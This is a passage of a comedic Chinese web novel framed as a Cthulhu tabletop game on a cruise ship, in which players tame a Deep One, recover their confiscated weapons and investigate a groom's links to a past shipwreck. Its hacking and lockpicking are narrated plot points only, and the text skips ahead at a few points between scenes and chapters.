想来是在按照钥匙和邀请函的收取顺序在一一核实眼看他从包里拿出又一封邀请函去敲了下一间房祝槐打着哈欠关上了门。等她去洗漱完窗外已经能听到了一点淅淅沥沥的雨声。
船上船下地跑了一大圈本就很容易惹出疲乏雨声更是助眠
时间的概念总容易在这时变得模糊也许过了一个小时也许才过了一分钟。
她的意识似乎还沉在半睡半醒间眼前就不知不觉笼上了一层雾气。
雾气是被一阵奇异的歌声忽然扫开的。
“……”
“沿着湖岸云霁破碎双生之阳沉落湖陲狭长的阴影降临在卡尔克萨。”
古代都市的废墟骤然现于眼前旁边一片黑湖深不可测。湖水之下无定型的尖爪与触手正如
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水草一般轻轻随波摇曳。
那歌声忽远忽近传入耳中就成了一阵阵吊诡的词句。
“奇异之夜升起黑星奇异之月徘徊天这是不是个正确的选项——
哪怕做足了心理准备也无济于事进入深夜的满客邮轮呈现出一种本不该有的寂静只有舱边的昏暗灯光证明着它还在运作。
他们在这灯光下顺利藏匿了身形可一眼望去走廊另一头的空旷甲板前是叫人见了就头皮发麻的景象。
密密麻麻的聚在那里的类人怪物足有十几只之多。
它们的身体呈现一种灰暗的绿色脑袋却属于鱼类高耸脊背上湿漉漉的鳞片透出惹人嫌恶的滑腻巨大凸出的眼球转来转去指间长满蹼的手里拿着长长的鱼叉。鱼鳃不断地颤动着发出尖锐的阵阵喉音。
【初次目击伟大克苏鲁的膜拜者——深潜者进行意志检定成功不减失败随机下降一到六点的san值。】
[斯卡蒂(祝槐)]进行意志检定65/70成功。
其他人里只有路婉婉的脸色有点难看——但也仅此而已了好歹都经过几个模组该忍得住还是忍得住的。
现在摆在面前的问题是怎样想办法让
这群家伙在没有注意到他们的情况下离开,毕竟一旦发现,凭他们可打不过这么多怪物。
……不过前提是,它们都在。
祝槐忽然注意到了对面的墙上,她转头对队友指了指那边的按钮。
离得最近的威尔一瞬间露出了震惊的神情,但还是会意地点了点头。
深潜者们似乎完成了他们的“工作”,叽里咕噜了半天后,由打头的那个带着其他的往甲板上走去。
就在最后一只深潜者望风完毕,打算跟上大部队的步伐时,头顶忽然有什么东西“哗啦啦”落下,铁皮制成的卷帘门封住视野,完全挡住了它的去路。
kp爱莫能助地捂住了自己的眼睛。
深潜者:“……咕?”
它迷茫地慢慢转过身。
圆滚滚的鱼眼之中,映出了几个正在缓缓逼近的黑影。
祝槐敲了一下刚砸下来的椅子腿。
路婉婉举起了手术刀。
威尔掏出了自己箱子里的伸缩手杖。
罗曼深沉地摸了摸他在队友中硕果仅存的左
轮小手
枪。
在一片拳打脚踢和“吔我一枪”、“你初始值哪来的底气开枪啊”、“你们小点声”的叫嚷声中,双鳍难敌八手的深潜者被拖进了旁边的工具库房。
过了几分钟,卷帘门被重新打开,去而复返的那只鱼人看着不见任何影子的走廊疑惑地歪歪头,转身走了。
库房内,罗曼“哎哟哎哟”地松开了深潜者咬得粉碎的木棍,再晚一秒,碎的就是他的手指头了。
“你们不懂,”他到这时候才有功夫深沉地说,“这就是煮借给我的勇气和自信。”
他们已经成功把它用库房里的麻绳绑成了一团,就是差满口尖牙的嘴还没塞上,只好先用木棍凑数。
祝槐站在旁边,调整好角度,用手机给自己和这倒霉蛋深潜者咔嚓来了一张合照。
威尔:“……你在做什么?”
“留念。”她言简意赅地说。
等有机会给她的前同伙看。
再看看这阵容,什么叫做大做强啊。
罗曼伺机又在旁边找了根木棍往里头一塞,免得它把同伴给叫回来,他发现周围还有拖把扫帚,完全可以断一根塞一根。
“我直接问了,”威尔说,“你们也做噩梦了?”
“我梦到了一座城市的废墟,那个地方……”
祝槐:“卡——”
“拉莱耶,”路婉婉说,“不知道为什么,明明没有人告诉我,我就知道那个海底都市叫拉莱耶了。”
“我更愿意梦到伟大的吾煮。”显然也是如此的罗曼幽幽地说。
祝槐:“……”
这做梦还能整迷路是吧?
“今晚船上太安静了,”她拉来一把折叠椅,接过罗曼手里的木棍,也开始往深潜者嘴里试探,“你们说其他人会不会也是出于类似这样的原因才醒不过来?”
赌场和迪斯科舞厅这种地方总该是彻夜狂欢的。
“是有点奇怪……”威尔随着她的话陷入思索,“虽然咱们今晚本来就打算休息,但我是想晚点的,但到了某个时间点,突然就觉得必须去睡觉不可……”
深潜者死死地瞪着她的手,就准备再让这棍子步上上一根的后尘,要是连那只手一起咬断就好了。
祝槐忽然收回了棍子。
深潜者一闭嘴,咬空了。
深潜者:“???”
你有病是不是?
祝槐坐在那,看它咬得着咬不着,逗着逗着忽然有了某种既视感。
……谁说神话生物不能是动物呢?
“kp,”她说,“我想过个技能玩玩。”
【哦,你过。】
正在中立看戏的kp蓦地反应过来。
【不对,等等,你要过什——】
[斯卡蒂(祝槐)]进行驯兽检定,3/5,大成功!
祝槐:“……”
队友:“……”
kp:“………………”
kp:“????????”
()
第34章 约定之地(三)
初始值的大成功,那也是大成功。
在场所有人的目光都不约而同地凝聚在了祝槐身上。
这他妈,为什么能过。
……不对首要问题是为什么会对着神话生物过驯兽吧啊啊啊啊?!
但无论如何,点,她骰出去了,最重要的是——还特么是经过了kp同意的。
kp:“……”
现在就是很想删档重来。
在一片槽多无口的寂静之中,连自己都没想到自己能过的搞事王本人最先调整回状态,特别无辜地问:“你这么金口玉言一言九鼎一定不会出尔反尔的,对吧我亲爱的kp?”
kp:“…………”
【……不会。】
声音怎么听怎么憋出了内伤。
“那就好,”祝槐满意地点点头,“加油,kp,我相信你。”
kp:“………………”
【……那一刻你们的目光交汇在一起,电光石火,噼里啪啦,有如酒甘逢知己,他乡遇故知。虽然没有酒,虽然也不是真正的故知,但它不可思议地明白了你的指示,你也不可思议地理解了对方的语言——好像在说,“给我小鱼干”。】
其他人:“……”
稳住,不能笑,不然肯定会被报复。
祝槐:“那可亲可敬的kp,这里有小鱼干吗?”
【……你过幸运。】
也许有那么一秒钟,这世界上没有任何人比kp更希望她来个大失败——除了33号——可高达80的幸运岂是池中之物?!
[斯卡蒂(祝槐)]进行幸运检定,7/80,极难成功。
好家伙,还是极难。
所有玩家的心中同时浮现出一个魔鬼般的念头——可惜了,再低两点又是一个大成功。
“有,”威尔忍不住帮她解说道,“还有大份的。”
【……你来当kp?】
侦探拨浪鼓式摇头,“不了不了不了。”
【……你成功地翻出了一袋不知是谁私藏在这里的自制小鱼干,纯天然无污染,一看就是在打捞上来后的第一时间进行晾晒。高端的食材,往往只需要最朴素的烹饪方式,新鲜的鱼干,是来自深海的至纯鲜美,让人咬了一口就想大喊——啊!海的味道我知道!】
kp无感情的棒读让每一个人都露出了十分痛苦的表情。
……
憋笑憋的。
祝槐果然在几个麻袋底下扯出来一大包鱼干,深潜者肿眼泡似的鱼眼睛在看到它以后就完全直勾勾地没再看过别的地方。
她拿出一条小鱼干,就感觉到深潜者目不转睛地全程盯住了自己手底下,跟着她的动作转啊转,但祝槐没有急着直接给它。
她说:“坐下。”
kp:“???”
你是人?
被五花大绑的鱼人在地上蠕动两下,盘腿坐好了。
它一仰脖,接住了对方丢来的小鱼干,吧唧吧唧吃得可欢。
路婉婉:“……要不咱们给它把绳子解了?”
威尔:“可以试试。”
反正对面一个他们四个,一个单挑四个,吃亏的肯定不是他们。
说干就干,两人解开了绑着鱼人的麻绳,驯兽大成功果然起到了奇效——深潜者完全没有逃跑或是攻击的打算,而是一门心思地盯着这意外美味的小鱼干,坐在原地一动不动。
祝槐:“握手。”
鱼人抬起了自己长着蹼的“手”,友好地跟她握了握,然后满意地吃到了又一条鱼干。
这下顿时激起了大家的兴致,早就好奇的其他人也纷纷围在旁边,七嘴八舌地提出了自己的想法。
路婉婉:“转个圈?”
威尔:“装死。”
罗曼:“用舌头碰到胳膊肘。”
他立马收获了另外三个人无言的目光,“试试嘛!”
但人类很难完成的动作放在这种异人生物的身上那自然是轻轻松松,深潜者连转三个圈又趴在地上一动不动,这会儿轻而易举地用颜色古怪的长长舌头碰到了自己的手肘。
这一幕本该是十分诡异的,却在它完成动作后就翘首以盼小鱼干时演变成了另一种滑稽。
它换来一片掌声与欢呼,还有如愿以偿的鲜美鱼干。
他们训练完这个训练那个,眼看再不制止要连作揖都给教会了——
【别玩了!!!】
库房内安静了。
你看看我,我看看你,而kp沉默数秒,挽救了一下自己崩坏到岌岌可危的人设。
【……你们刚才有听到什么吗?】
所有人:“没有没有。”
至于是不是给某位主持人留点面子……咳,大家都懂,都不必说哈。
做人留一线,日后好相见嘛。
“我们现在得先走了,”祝槐说,
“你在这里好好待着,来人就躲起来别让他们发现,下次过来奖励你十条小鱼干。
十条!!!
深潜者拍了拍自己因为刚才那一连串训练被填满到圆滚滚的肚子,虽然现在是吃不下了,但这个承诺无疑让它觉得未来可期。
它目光炯炯,连原本呆板无神的鱼眼里都闪着一丝诡异的光——这是超越生死的誓言,是不论种族的心与心的交融,是!鱼干!
为了帮深潜者藏好,他们又在货架和箱子里翻出了几大块帆布,也腾出来一个空箱子,好让它有机会及时藏进去。
很显然,对这位鱼人而言,用食物培养出的“友谊是可能除了信仰以外的任何东西都无法比拟的。在几人离开的时候,它还趴在木箱边沿,使劲地挥手,像是在说“早点回来。
他们都在往外走,罗曼却一边走一边头也不抬地在小本子上写个不停。
路婉婉“咦了声:“你在写什么?
祝槐关门的时候正好看见了他信笔而就的一段话,字迹潦草得连她这样生计所迫不得不研究过的要辨认都有点费劲。
[令人窒息的狭小库房里,死亡的气息充斥着整个空间,黑暗模糊了可怖怪物脸上那被鳞片覆盖着的溃烂般的皮肤,它说……]
祝槐:“……
这跟刚才不能说一模一样,只能说毫不相干。
她好像猜到了什么。
“煮允许我在赞美祂之余做一些别的事谋求生计,罗曼深沉地说,“于是我选择撰写使人心生恐惧的祷文,如此一来就可以使人们在畏惧之余选择皈依吾煮,但意外的是反而获得了他们的追捧与喜爱……
威尔:“……意思是你平时都在写三流恐怖还有点火是吧。
罗曼:“明明也有悬疑的。
他犯了个再显而易见不过的错误。
——你永远不能在一个侦探面前提到任何和“悬疑或者“推理有关的字眼。
他马上被感兴趣起来的威尔追问起了的情节,然后在对方逻辑缜密的分析下节节败退。
但令人意外的是这次俩人没再吵起来,反而是罗曼挨个记下了侦探提出的每一处不合理之处,又反过来开始问对方经历过的案子,俨然一副当场取材的势头。
大半夜的,深潜者都走了,其他人都睡了。他们要去哪里甚至根本用不着商议,研究着地图齐齐精准地拐上了去据说是存放了武器的那排库房的路。
祝槐一路上听
了满耳朵的破案细节渐渐察觉到对方和她这个披皮侦探的不同“说起来威尔你真的是侦探?”
“啊”毕竟是一起并肩作……一起围殴过的关系威尔说“我用的是初始卡。”
“我也是”没什么好瞒的祝槐笑着向路婉婉的方向歪歪头“她可以作证。”
罗曼幽幽道:“其实我也是。”
其他人:“……”
那你现实里是活得挺自由的。
怪不得这卡能过。
路婉婉指指自己“……?”
“所以只有我是新卡?”她震惊。
威尔:“看样子是。”
“话说回来我从刚才起也想问了”结果全被一个突如其来的大成功震没了威尔转头看向祝槐“你没有和我们一样梦到拉莱耶吧?”
祝槐眨眨眼经手无数案件的少年侦探出乎意料地敏锐。
“嗯……”
她信口就来道:“做了一个好久没再做过的梦可能这就是我不像你们那样的原因吧。”
她一副不想多说的样子涉及到个人隐私其他人也不好追问。但毕竟是要共患难的队友该共享的情报是得共享一下的。
“你们说的拉莱耶长什么样?”祝槐问。
“是一座沉在海底的古代遗迹……”路婉婉回忆道“结构非常——非常的反常我几乎一看到就莫名感觉很讨厌。”
“建造那些建筑的都是大到不可思议的绿色石材。”
威尔补充说:“还有很多宏伟的石雕和石像还有一些形状奇怪的黑影在里面游荡……现在想想应该就是那些鱼人。”
“不是还有一句话吗?”罗曼说“‘在永恒的宅邸拉莱耶中沉睡的克苏鲁候汝入梦’——这名字没有吾煮让人有食欲。”
其他人:“?”
这才是你挑你煮的准则是吗?
“我还是很好奇的……”祝槐说“毕竟有个‘克苏鲁神话’在前。”
为什么和这方面有关的技能偏偏叫这个名字之类的。
“那个可以先放在一边”威尔摸着下巴头疼地闭上了一只眼“反正这个模组肯定跟祂有点关系。”
“信徒都跳到船上来了再说这些是不是有点晚。”罗曼道他被威尔瞪了一眼。
疑似目标的那排库房在很偏下的位置他们下去费了点功夫就像之前怀疑的那样全程没有遇到任何一个人。按道理讲是
应该有船员彻夜轮流值班的不知出于什么原因也可能是因为他们有意避开了一些摄像头在要进入工作区时面对的也只有空空如也的走廊没有受到任何阻拦。
“等一下”祝槐突然说“等等等等。”
她在队友们不明所以的目光下摸出一个小玩意来打开墙上那个看中的操作面板的塑料盖找到个数据接口插进去等了两分钟才拔
出来。
“好了。”
她说:“走吧。”
其他人:“……???”
不过鉴于他们现在就要去当贼——不是取回自己的武器时间就是金钱当务之急还是赶紧拿到东西赶紧走人。
库房正门是共通的同一扇但意料之中地挂着一把锁头还不等几人思考着该怎么解决它威尔已经熟练地摸出了根铁丝。
祝槐:“……”
看来你也不是什么正经侦探。
“这很正常吧?”沐浴在其他人“想不到你是这种人”的目光下威尔有点恼羞成怒了“侦探不应该拘泥于方法不管用的是什么手段不让进现场的情况下先想办法创造条件进去啊。”
罗曼:“啊对对对。”
路婉婉:“哪里正常啊——”
[威尔]进行锁匠检定25/51困难成功。
抱怨归抱怨他手上还是很麻利的一边侧耳听着锁头里的动静一边小心转动起那根铁丝。只听一声轻响门锁果真应声弹开被侦探取下来暂时收在了旁边。
“……好大。”路婉婉忍不住感叹道。
他们本就不大的声音一进入宽旷的库房内顿时更加渺小起来大的小的不知是什么东西的都分门别类堆放在不同区域远处似乎还有一小部分集装箱。
“啊”祝槐说“在那里。”
透过小房间的玻璃能看到被收缴了的武器就存放在离他们数十米之外的地方数量比能想象的还多点。
想来也是会被休谟集团邀请来参加继承人婚礼的除了一些关系拐出九重天的亲戚(特指)和交往上的人情大多非富即贵带一两个武装过的随身保镖也正常。
威尔又撬了一次锁他们几个是挨着上船的东西自然也在一处非常之好找。但在拿回自己的东西后
祝槐别好自己的手
枪以后又挑了把趁手的后坐力轻的本来只带了个电击器的路婉婉看着这一堆武器也有点跃跃欲
试。
而罗曼,在意思意思多拿了把9mm后,看着正在往背后外套里藏上一把12口径的喷子又立刻拿起一把能穿甲的fn57的威尔陷入了失语。
人形自走军火库,史诗级加强。
kp:“……”
算了,习惯了。
他还在想那个驯兽。
为什么能大成功啊。
别的不说,威尔·康登此人藏枪的本事绝对是练过的,一通操作下来竟然也只是显得外套稍微鼓囊了一点。
该拿的拿了,剩下的就该收拾收拾撤离了,他们调整过其他武器的摆放——至少让它们一眼看上去不像有减少过,这才把锁头重新扣回去。
【全员可以进行一次侦查检定。】
[斯卡蒂(祝槐)]进行侦查检定,14/70,极难成功。
毕竟大家同时检定,一个人过不了也没什么关系——这会儿成功和失败的比例正好是一半对一半,没发现的也下意识地跟着发现的人往集装箱邻边望去。
在铁皮的边缘,能窥见一点熟悉的花纹图案,再看那铅灰色的质地……
“不是说是婚礼的装饰吗?”路婉婉迷茫,“怎么这里也有一个?”
摆放在那里的巨石和他们白天在露天广场上见到的如出一辙,哪怕没有特意去记过,那古怪纹饰也能瞬间唤起既视感。
“明天再去别的地方转转吧,说不定还有,”祝槐沉思,“或者今晚去溜达一下也行。”
kp的声音凉飕飕地响起来。
【明早有休谟家的迎宾酒会,再不睡觉,所有技能成功率减二十。】
所有人:“……”
也是,到时候肯定没精神。
睡了睡了。
海上到底潮湿,折腾了一圈,等几人终于回到自己所在的左舷客舱,深潜者们留下的水渍还没有完全干透。
他们小心避开了那些水迹,免得踩出点会引起怀疑的鞋印,这才回了各自的房间。
尽管出了点小插曲,但好在后半夜一夜无梦,到底算是睡了半个安稳觉。
清晨的阳光照入舷窗,祝槐洗漱完后懒洋洋地靠在阳台上看了会儿海景,这才不紧不慢地清点完该带的随身物品,准备往自助餐厅走。
她出门时正好碰到路婉婉也探出个脑袋,对方笑道:“早啊凯蒂,昨晚睡得怎么样?”
“还行。”祝槐说,“早安,你呢?”
“我也没梦到了
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,”路婉婉懂了她的意思,小声说,“真的蛮奇怪的。”
“其实我刚刚准备出去来着,然后听到有两个经过的客人在议论说昨晚本来打算去赌场玩,到点突然很困就回房睡过去了,还在感叹除了做了个想不起来的噩梦以外睡眠质量居然挺好的。我感觉有点诡异就没敢一个人去……想着等等你们再说。”
路婉婉抖了抖,“不会……全船人做的都是同一个梦吧?”
“没事,”祝槐说,“至少我不是。”
路婉婉:“……对哦。”
现役医学生陷入思考,“但是这种事——真的可能发生吗?”
“心理学上不是有个‘集体潜意识’的概念吗,说不定有点关系呢。”虽然其实也到不了这个地步,祝槐摸了摸颈侧,“不过就算抛去这个,在这个世界也没有什么不可能的吧。”
路婉婉点点头,也是。
她们俩站在这里,旁边的套房门也打开了。这次出来的是威尔,他惊讶地看看二人,“你们还没有去吃早饭吗?”
“这不是在等你嘛,一起去?”
祝槐笑笑,“正好‘宁宁’刚才也听到点东西,边走边说吧。”
邮轮上供给的早餐餐点种类也十分丰富,不过正如kp昨晚说的,根据休谟家给出的日程表,稍晚就有为了代替起航仪式的迎宾酒会,也不适合吃得太饱,垫个肚子足矣。
三人在自助餐厅消磨了好一阵时间,回来的时候才看着罗曼哈欠连天地准备出门,带着两道黑眼圈望着他们,“咦,你们这么早就去餐厅了?”
威尔无语,“是你起太晚了。”
“因为昨晚我突然很有灵感,”罗曼正色,“煮告诉我应该及时把它们记下来,那我当然要这么做了。”
他得意道:“我可是卡在kp要扣成功率的前一秒睡的。”
kp:“?”
“好了,既然你们都去过了,那我——”
他的话被递到面前的打包好的餐盒打断了。
“反正你去也是点意大利面,”祝槐挑挑眉,“什么也没加,你比较喜欢自带的番茄肉酱吧?”
罗曼:“………………”
他张大了嘴巴望着她,满眼里除了感动还是感动,默默接过餐盒,看着对方回房关上了门。
路婉婉:“以我的感觉……她人挺好的诶。”
kp:“?”
威尔:“嗯。”
“好人,”罗曼回头就去开
了自己乱七八糟的行李箱,“哎我酱呢?”
酒会定于上午十点,四人里起得最晚的罗曼磨磨蹭蹭收拾完也都九点半了。不过这豪华邮轮上的电梯足有十几部,这个时间才去会场倒也不怎么拥挤。
会场大门旁边一左一右地站着几个保镖,厅内打扮入时的宾客们或坐或站,也一早布置好了可供落座的圆桌和花纹圆背椅。
除了一排手搭餐巾托着托盘随时准备为客人服务的侍者,自助吧台上还有可供自行取用的酒水以及各色精致的餐点和点心。
“我必须得说,”年纪最小的威尔嘀咕,“我不太喜欢这种社交场氛围。”
他还没到合法饮酒年龄,这会儿很自觉地喝着果汁,声音也只是压低了跟队友抱怨——和他们同桌的还有个陌生男人,正百无聊赖地转着手里的餐巾。
路婉婉作为还在象牙塔的纯医学生选择闭嘴。
罗曼是个不管什么情况都能迅速沉进自己世界的,祝槐看着自己点的那杯酒也不打算喝,“等开始就好了,应该快了吧。”
主持人上台得很准时。
他做了简单的陈词,随后就请来了这次婚礼女方的父亲——休谟家的老爷子有着一副典型的成功人士的形象,口才也风趣流利,在台上侃侃而谈不仅不会惹人反感,还不时逗得台下友善地发笑。
这自然也少不了他地位的原因,相较而言,两个新人作风要低调些,他们的主场要在之后呢。
桑德拉·休谟长相明艳,举手投足自然大方,看着她和旁边样貌相似的中年女人聊天,就知道她完全继承了母亲的美貌。
婚礼的另一个主角爱德华·琼斯也是一表人才,他相貌十分英俊,注视着即将成为自己妻子的桑德拉的眼神里满怀爱意,而后者回视时也是如此——很显然,这才是他们结合的主要原因。
和他们同桌的男人忽然叹了口气。
他摇摇头,“爱德华这小子,攀上高枝一下子发达了啊。”
在场四名玩家:“?”
有情况。
见几人立时投来了视线,男人也立刻意识到了自己的失言,讪笑两下,转头叫服务生上了杯酒来。
“请问你是?”祝槐问。
“我……”男人笑容尴尬,“他大学同学,也是同社团的成员。刚才那么说也不是嫉妒他,就有感而发。”
威尔:“有感而发?”
“没什么,”爱德华的同学连连摆手,“没什么。”
“哎呀没什么就不说了。”
罗曼爽快地一挥手“来大家一起为猫——为新人们干杯!”
这下正好缓解了刚才的尴尬男人马上跟他碰了杯“干杯!”
在男人看不见的角度在他一饮而尽的同时其他人都亲眼瞧着罗曼手一斜酒全洒在了自己摊在大腿上的几层餐巾上。
三人:“……”
草。
酒过三巡在他“为休谟干杯”、“为爱德华干杯”、“为桑德拉干杯”的一系列接连攻势下爱德华的同学渐渐大了舌头半趴在桌上只有一只手还留在空中一下下地点着“我、我还是第一次见……见这么能喝的
这头的罗曼才找侍者换完第七次餐巾“?”
罗曼:“为飞面大神干杯!”
“干、干杯干杯……”男人摇头“不行兄弟我真的喝不动了……”
“马上就是婚礼的日子了尽兴一下也不会怎样嘛。”祝槐看热闹不嫌事大地拱火“作为他的老同学怎么能不恭喜他结婚呢。”
“结婚?谁和谁结婚?”
男人念叨道:“和莎伦吗那我恭、恭恭喜……”
威尔:“……!”
“咦莎伦是谁?”他佯装好奇地问。
“莎伦……他们两个以前……爱德华他说他只会娶……”男人两眼发直被灌酒灌得连话都有点说不出来了干脆掏出手机艰难地在里头翻出了一张照片“就、就是她。”
四个人的脑袋立刻全凑了过来。
好巧不巧他翻出来的还是几人的合照。
在他的手机屏幕上一众大学生在野炊帐篷前笑得开怀。上面有他也有爱德华而爱德华搂着个褐发姑娘她鼻尖上落着一点雀斑如果刚才还能说他看桑德拉的眼神深情和照片上两人的对视比起来……
……就差那么点意思了。
祝槐:“我想康登侦探——”
“虽然很不齿但婚外情也是侦探业务的一环。”威尔说“我觉得休谟会用足够的佣金为真相买单所以擅自拜托你们一起帮我调查这很合理吧?”
【我不反驳。】
男人脑袋一歪已经靠在桌边睡着了他们说话就少了点顾忌路婉婉问:“那……难道先去vip客室那边看看?”
要说有什么证据最可能的就是爱德华住的地方。
“同意。”威
第35章 约定之地(四)
爱德华急急忙忙地带着保镖们走了,也不知道是在紧张那张合照还是自己的房卡。
祝槐一次又一次的语出惊人,队友们从震撼惊讶到不得不麻木,事到如今已经习惯性地开始直接帮她考虑起了下一步。
“哎等等,”路婉婉反应过来,“万一真追上以后,他说了钱包是你给他的,还是牵扯到咱们身上该怎么办?”
祝槐:“他说是就是啊?”
路婉婉:“???”
草啊。
——怪不得她书都不要房间号也不留,只有一方拿到了东西算什么交易啊,打死不认说人家拖自己下水就行!要的还是对方的房间号,那到底去不去什么时候去还不是她说了算?!
“不仅是这样啊,”祝槐说,“出于我的某种猜测,他可能也不一定会说是谁——话说回来,爱德华其实用自己的亲身经历给我们上了一课。”
路婉婉:“啊?”
威尔已经习惯了她的不着调,甚至对上了电波,“都是要结婚的人了,钱包里就不要放前女友的照片了。”
祝槐:“对对对。”
……喂!
“毕竟队里有个渣男预备役,”她道,“可得引以为戒,是吧罗曼?”
罗曼在自己胸口划了几道波浪线,谁也不知道是什么,大概是意大利面,“煮会宽恕我的,ramen。”
路婉婉:“???”
不要这么快承认啊!再说了什么煮会宽恕这种东西啊?!
以书商走路那个慢慢悠悠又自带装逼气场的速度,遇上热锅蚂蚁一样的爱德华,那的确是很快被追上了——这条走廊的尽头是清吧和俱乐部,可能都还没到那扇门呢,就传来了一阵□□搏斗和沉闷的落地响声。
大概也许可能是有谁被当场按倒了。
所有人:“……”
咳。
“……不管怎样,谢谢这位不知名的好心的先生为我们争取的时间,”祝槐眨了下眼,“走吧。”
一行人对视会意,立时行动起来。
“快。”
威尔说:“我可不想发展成邮轮通缉大逃杀。”
要说有机会趁机用偷到的权限卡潜入爱德华·琼斯的房间,也只有现在了。
再耽搁晚点,爱德华发现东西还是不知所踪,要么会加强警戒和安保,要么可能会干脆换掉门锁,到时候就
真的相当于他们千辛万苦折腾的一遭还是白费功夫了。
而如果不想被对方当面撞见他们的时间满打满算可能只有十分钟。
行动还是按照刚才的分组来路婉婉和罗曼负责望风这次约定了暗号要是有人来就大声咳嗽或者干脆再掐一次架——祝槐建议他们可以就那七个女朋友好好展开一下。
路婉婉:“倒也不必!”
很难编的诶!
“这锁真的难开——”为了争取时间威尔还是选了手动加掷骰双管齐下“他是有多心虚?”
[威尔]进行开锁检定25/51困难成功。
好在也有之前尝试的经验打底伴随着一声轻微的细响他如释重负地松开了自己攥着的发卡和铁丝。
接下来就到了祝槐上场的时候一张又一张的卡刷过去他们如愿听到了识别成功的提示音连忙推开这扇装饰精良华丽的客室门。
提供给宾客们的舱房已经算是豪华但vip级别简直就是超级加倍。
正对面是面朝大海的观景大阳台地上的松软地毯是用羊毛和丝绸手工织成的。哪怕是单人套房也有待客用的五座沙发液晶电视大到占据了大半墙面旁边还设置有随时可以叫来服务的按铃。
不过现在这些都不是他们需要操心的祝槐和威尔互看一眼就算侦探的职业只是挂名以她行骗……算了行骗多年的经验也知道人类想要藏起某样东西的第一选择地点会是哪里。
——卧室。
他们直奔最里间威尔当即开始四处翻起书架和桌子又迅速把它们恢复原状而祝槐看来看去一把拉开了床头柜——
王炸。
静静躺在抽屉里的古书封面上有着令人感到不安的花样
【要看懂需要用三十周进行学习并随机损失一到二十的san值相应地可以获得五点或十点克苏鲁神话技能值不论如何以你们现在的时间是不可能——】
“抱歉”祝槐笑眯眯道“不需要。”
kp:“……???”
她一页页地翻过去那头的威尔到处看完了一圈再回头看到这边时顿时吓了一跳“你在做什么?”
他走过来“等等这难道是……
?”
“魔法书。”祝槐头也不抬地说“但是带不出去不然真会变成你说的大逃杀。”
的确。
威尔面色有些凝重。
爱德华回来后的第一反应肯定是检查书还在不在且不说休谟家知不知情他只要声称自己房间遭窃了就行到时候势必会一个个地进行排查。也不会像是之前查是不是有谁混上了船那样程度的小打小闹不翻个底朝天才怪。
“怎样”祝槐道“要相信我吗?”
“你不是为自己赢得相当的信任了吗?”虽然kp肯定不这么想威尔又皱起眉头“快点吧只有三分钟了我也想不到什么好办法。”
“已经好了。”
她站起身把抽屉又推了回去“你那边发现了什么?”
威尔被她这一提醒才想起自己手里拿着的东西“这个应该也带不出去。”
不然会打草惊蛇。
他打开相册“一张剪报。”
要不是他们已经看过他同学手机上的合照可能也不会察觉到问题所在——相册里有莎伦的照片只占据了其中很少一部分虽然只用这些就能看出他们感情甚笃。
剩下的其实大多数都是爱德华和别的同学大笑着的照片或是他驰骋在球场上、又或是手捧奖杯和证书时意气风发的模样但不如反过来说在海上婚礼的旅途中还要专程带上自己学生时代的相册就已经是问题所在了。
相较而言威尔注意到的那张就显得很突兀了。
那张剪报的时间是三年前一艘游轮在航行过程中由于暴风雨和暗礁的双重危机不幸遭遇海难。
生还者寥寥无几活下来的无一不是因为顽强的求生意志。其中最久的一个被发现时在一座很小的岛上独自生存了五天四夜获救时意识还很清醒岛上没有什么植物也几乎没有淡水谁也不知道那人是怎么活下来的。
邮轮的名字——是玛格丽特号。
“好吧”祝槐抱起胳膊
“你听过?”威尔问。
“其实是查过——出去再说吧”她说“该撤了。”
那本相册也原封不动地被重新放了回去他们出来的时间正好一从另一头绕过去就听到了路婉婉的尖叫和罗曼的渣男式辩解。
熟悉的吵架熟悉的劈腿熟悉的围观熟悉的人人喊打。
威尔:“他们……”
祝槐:“果然还是采用
了这个方案。”
听
起来似乎是路婉婉雇佣的私家侦探又发来了新的证据,从一号到七号一应俱全,直接实锤罗曼早上在跟一号逛街的时候还在跟四号聊天,下午给五号寄完礼物就去了三号家,晚上和二号烛光晚餐,最后还约了七号一起去电影院看凌晨场。
看电影的时候回她短信,说自己在公司加了一天班没有看到消息——渣男标配,呵呵。
“……我有个问题,”威尔说,“六号呢?”
“应该是排不过来了,”祝槐分析道,“等第二天吧。”
围观群众捧着瓜吃得不亦乐乎,人人都是一副没想到还真有连续剧发展的表情,剧情之狗血情节之跌宕起伏来得比船上闭路电视放的电影还精彩。
路婉婉一抬头,又看到了熟悉的俩人。
路婉婉:“………………”
所以说为什么又在看热闹啊啊啊!
她表演了个再度一言不合气势汹汹地就走,这次不能用和上次一样的方式了——于是罗曼黯然离场,一副痛失真爱悔不当初的模样,但是据可靠路人转述,他在转个拐角后就打起了视频电话,语气浓情蜜意到一听就是据说感情最好的五号或者三号,还管对方叫“球球”。
呸,渣男!
彼时罗曼正在捧着个手机跟队友晒猫,“快看快看,我们教派分家教主。”
画面中的胖橘满脸冷漠,脸圆得一个赛过俩,在他的连番倾情呼唤下看都没往镜头这边看一眼,不耐烦地扫着尾巴。
威尔:“……”
路婉婉:“……”
你自己瞧瞧人家理你吗!
“哦,对了,”威尔掏出随身携带的录音笔,“你不是要当素材吗?我帮你录下来了。”
罗曼眼睛一亮。
路婉婉:“不要录这种东西啊——”
他们正聚在祝槐的房间里,普通套房比不得vip那么宽敞,但沙发也够坐下三个人了。
而究其原因自然是某人懒得将改装过后尤其沉的电脑搬来搬去,她坐在书桌跟前,指尖飞快敲打着键盘,变换着的界面将侧脸都映出了一层薄薄微光。
祝槐轻轻“啊”了声,坐直起身,“找到了。”
其他人立刻也不扯有的没的了,接二连三地起身,齐刷刷围在书桌旁边,看她调出那个页面。
以船上的网速和信号,想侵入严密点的地方可能做不到,区区一个船务公司还是好说的。
“三年前玛格丽特号的登船名单
果然。
威尔:“想都想得到是谁。”
因为纵观整份名单他们熟悉的名字只有一个——“爱德华·琼斯”。
以及同样不容忽视的、在他旁边的“莎伦·伯克利”。
有的东西就是在她现有权限下找不到的了不过家里经营事务所故而很有这方面人脉的威尔没过多久就接起了一通网络电话对方提醒他要的资料已经发到邮箱了。
“这是当初玛格丽特号原本预定的航线图。”
威尔转手将收到的文件发给祝槐后者直接在电脑上打开了“顺带一提我问了一下莎伦·伯克利这个名字他说她至今仍在失踪名单上。”
“这个……这个……”路婉婉喃喃道“我觉得有点眼熟……”
祝槐:“嗯?”
“我昨天参观的时候无聊多看了几遍手册嘛。”
“虽然不是一码事不过背图背多了我感觉还挺好记的……”路婉婉讪讪道“上面也标注了这次航行的路线看着像是有重合的地方。”
“这么说就没问题了”威尔说“我找人打听这个确实是想对比一下——你说的是哪里?”
